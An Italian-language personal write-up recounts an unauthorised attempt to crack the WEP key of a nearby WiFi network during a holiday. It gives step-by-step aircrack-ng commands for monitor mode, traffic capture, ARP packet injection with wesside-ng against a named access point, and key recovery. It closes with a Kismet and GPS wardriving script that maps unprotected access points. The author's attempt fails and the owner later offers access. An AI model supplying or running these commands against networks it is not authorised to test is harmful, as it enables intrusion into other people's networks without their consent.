Table of Contents
Craccare la chiave WEP di una WiFi
Appunti di un tentativo (fallito) di craccare una connessione WiFi protetta da chiave WEP.
La teoria dice che la chiave WEP è craccabile facilmente, nel senso che non è necessario l'attacco a forza bruta, quindi anche password difficili vengono individuate in poco tempo. Ecco il resoconto di un caso reale.
Vacanze estive in Croazia, appartamento sul mare, netbook Asus EeePC 900, due canali WiFi comodamente agganciabili dal salotto, semplice protezione WEP. Poiché nelle vicinanze non esistono Internet point, decido di tentare il crack.
Di quel poco che ho studiato mi ricordo che l'attacco si basa sullo sniffare una quantità sufficiente di traffico criptato e su quello eseguire uno speciale algoritmo di crittoanalisi. Il software aircrack dovrebbe provvedere tutto il necessario.
Installato i pacchetti Debian aircrack-ng
e kismet
, quest'ultimo consente di vedere in tempo reale il traffico WiFi captato.
Moduli kernel
Pare - per fortuna - che i moduli kernel per EeePC forniti dal pacchetto madwifi-modules-2.6.26-2-686
(moduli speciali compilati per EeePC, disponibili su eeepc.debian.net) forniscano il supporto alla modalità monitor e al packet injection per il chip WiFI Atheros contenuto nell'Asus.
Interfaccia in modo monitor
Il chip Atheros viene visto dal kernel come interfaccia wifi0, su questa possono essere attivate una o più VAP (access point o stazioni virtuali). Al normale avvio dell'Asus troviamo attiva l'interfaccia ath0, configurata in modo managed (detto anche modo station).
Per attivare un'interfaccia in modo monitor (che consenta lo sniffing del traffico WiFi) diamo come root i seguenti comandi:
killall knetworkmanager wlanconfig ath0 destroy airmon-ng start wifi0
Come si vede la prima azione è di chiudere il networkmanager (in questo caso quello di KDE), che altrimenti si ostina a gestire il WiFi, fare scanning degli AP disponibili, ecc. Poi eliminiamo la normale interfaccia ath0 che dice possa dare fastidio durante il monitoraggio. Infine con il comando airmon-ng
attiviamo una nuova interfaccia ath1 in modalità monitor.
Se invece vogliamo usare Kismet la procedura iniziale è leggermente diversa perché Kismet provvede autonomamente a creare un'interfaccia monitor, chiamandola kis0:
killall knetworkmanager wlanconfig ath0 destroy kismet
Nel file di configurazione /etc/kismet/kismet.conf
abbiamo messo:
source=madwifi_ab,wifi0,wifi0
Al termine delle operazioni di scanning, se volgiamo creare nuovamente l'interfaccia WiFi managed, questo è il comando:
wlanconfig ath0 create wlandev wifi0 iwconfig ath0 mode managed
Cattura del traffico criptato
A questo punto si inizia l'analisi del traffico WiFi con il programma airodump-ng
. Utilizzare l'interfaccia ath1 oppure kis0, a seconda del caso:
airodump-ng -w wifidump kis0
In un'altra console ogni tanto si verifica quanto traffico WiFi è stato catturato, in particolare interessa il numero di pacchetti WEP:
airdecap-ng -b 00:41:14:5F:43:12 wifidump-01.cap Total number of packets read 22708 Total number of WEP data packets 1635 Total number of WPA data packets 0 Number of plaintext data packets 0 Number of decrypted WEP packets 0 Number of corrupted WEP packets 0 Number of decrypted WPA packets 0
Con il parametro -b abbiamo filtrato solo il traffico proveniente dall'access point che ci interessa.
Il risultato di soli 1635 pacchetti in una intera notte è estremamente deludente: servono tra i 50000 e i 100000 pacchetti criptati prima di tentare la forzatura della chiave WEP. Il problema è che l'access point non aveva client collegati che facessero traffico.
Infatti il tentativo di forzatura fallisce:
aircrack-ng -a wep -n 128 -b 00:41:14:5F:43:12 wifidump-01.cap
È necessario ricorrere a un trucco: bisogna inviare dei falsi pacchetti ARP request, ai quali l'access point risponderà con altrettanti pacchetti ARP reply. Sfrutteremo questo sistema per generare traffico sufficiente per condurre l'attacco. Fermiamo il programma airodump-ng
e lanciamo invece wesside-ng
:
wesside-ng -v 00:41:14:5F:43:12 -i kis0
In questo modo siamo riusciti ad ottenere quasi 50000 pacchetti WEP in circa 20 ore di attacco. Purtroppo anche con 50000 pacchetti il tentativo di crack è fallito!
Come dovrebbe funzionare
Per vedere come avviene il crack, generiamo un falso dump di pacchetti WEP ed eseguiamo aircrack-ng
su di esso:
makeivs-ng -b 00:41:14:5F:43:12 -w wififakedump.ivs -k 011ab5634e357cbaca9a4b3b2b5 -c 50000 aircrack-ng -a wep -n 128 -b 00:41:14:5F:43:12 wififakedump.ivs
Il comando makeivs-ng
genera pacchetti WiFi contenenti gli IV (initialization vector) utili al crack. dagli esperimenti fatti il crack funziona se si hanno oltre 50000 pacchetti IV.
Se si hanno a disposizione diversi file .cap è possibile estrarre tutti i pacchetti contenenti gli IV e concatenare i file in uno solo:
ivstools --convert file.cap file.ivs ivstools --merge file*.ivs singlefile.ivs
Come è finita
Dopo tre giorni di tentativi infruttuosi, il proprietario dell'appartamento mi ha chiesto se per caso avevo bisogno dell'accesso internet, visto che al piano di sotto aveva l'ADSL con il router WiFi acceso…
La cosa che mi ha lasciato di sasso è che la password (128 bit) erano 13 semplici cifre, che aircrack-ng
non riesce a trovare neanche con l'opzione -c
(search alpha-numeric characters only).
Per verificare la correttezza del mio operato ho controllato che i pacchetti WEP fossero davvero criptati con tale chiave, suggerendo ad aircrack-ng gli ultimi 12 caratteri della stessa (tutti tranne il primo!):
aircrack-ng -b 00:41:14:5F:43:12 -d XX:38:32:37:32:36:36:39:37:33:34:35:31 wifidump-01.cap
In questo caso aircrack-ng
è stato in grado di verificare la chiave e trovare il byte mancante.
In conclusione - contrariamente a quanto si legge - craccare una chiave WEP non è lavoro da compiere in modo estemporaneo, ma richiede un po' di impegno.
Mappa wardriving
Alla ricerca di un access point libero abbiamo sfruttato anche le capacità di Kismet unite ad un GPS.
Dopo aver configurato gpsd
con il ricevitore GPS iBlue 747 USB, configuriamo Kismet agggiungendo nel file di configurazione:
gps=true gpshost=localhost:2947
Avviamo Kismet e partiamo per un giro di wardriving. Al rientro controlliamo il file di log creato da Kismet, ci dovrebbero essere dei file in /var/log/kismet/
, in particolare i file .csv e .gps servono al caso nostro.
Con un po' di Python o Perl estraiamo dal .csv l'elenco (BSSID) degli access point senza protezione (campo 8 = None) e lo salviamo in un file di nome wifi-open
.
Poi lanciamo il comando gpsmap
con questo script:
#!/bin/sh log_file="/var/log/kismet/Kismet-Aug-13-2009-11.gps" center="--coords 43.5123,16.2804" scale="--scale 2000" MAC_LIST="" for mac in $(cat wifi-open); do if [ -z "$MAC_LIST" ]; then MAC_LIST="$mac" else MAC_LIST="$MAC_LIST,$mac" fi done gpsmap \ $center $scale \ --draw-track --draw-range --feather-range \ --filter $MAC_LIST --invert-filter \ -l ssid \ $log_file